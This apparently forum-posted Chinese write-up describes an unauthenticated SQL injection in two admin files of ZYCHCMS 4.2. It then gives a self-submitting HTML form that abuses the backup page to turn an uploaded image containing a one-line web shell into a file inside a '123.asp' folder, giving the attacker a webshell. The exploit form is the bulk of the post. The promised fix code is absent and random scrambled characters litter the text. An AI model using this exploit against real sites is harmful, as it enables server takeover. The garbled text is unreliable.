ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

6 y0 {  K3 i! ]4 K) |6 p
# b1 V$ z6 g( ~  d
/ a, [' Y" Z! I' p" J' k8 t影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
# g0 L3 P" h6 { ①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
$ B, b/ d3 N) N( A 漏洞代码：
* L0 C- p0 \! W- ?1 _. m 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
( @0 o' b1 J5 u! | 修复方法：在文件开头加入代码


②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
以下是代码本地提交代码
! F3 N4 [, A& g. G% Y8 I" o$ c* y7 _

# \& |$ }% V( M' q8 C$ ^5 f( {<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
! `2 Z8 ^5 f. G) ~- D; t <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
  a; Q1 R0 J: l# Y3 K <tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
# t; i. j0 p6 h </tr>
, b8 r& v( R% @% Q. l <tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
) v9 D( ]+ V3 O, ]2 }6 v9 C+ c# Z </span>
* V1 @+ V1 f  e/ c: w) b# { <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
" b4 d3 M' {- Z. l7 s: z; K* Z <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
; @; V6 y% r+ a: X <div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
9 D8 m# e' X( [* q <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
, H; e2 t% N( v: J </tr>
7 ^+ }/ ?3 H  P- V. L2 K <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
/ h; ^8 s9 p: l$ O8 b" q <td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
) C  L: `1 u& h# @ [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
0 S4 B. L1 `6 M# b </tr>
- u) ~7 q2 n9 r/ C. C <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
( @3 f4 E  v& U) x  v8 h+ Q5 B <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
1 v7 `$ w3 I3 j! Q, U <td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
</div></td>
9 j; P3 g  p1 D- U' X" o! x0 ^& Y: y1 l </tr>
</table></td></tr></form>
" C6 W" ^- F3 W6 d </table>
</td>
( L. D4 F/ L$ O% T8 Q9 V; Q& Z </tr>
, Z3 ~4 B* z5 q( \8 }4 B: B </table>
' ]: f) r$ \% l9 d <script>
document.all.add.submit();
, t6 T: z# h8 n* [ </script>

" r7 x. i- c+ |, f

- B3 m, y+ F5 u- R) _6 B2 J




; H1 N6 a  o$ h: b! K) t5 S
% T1 C. y5 d& Q6 M/ z
. V6 A0 ]# v' H$ ~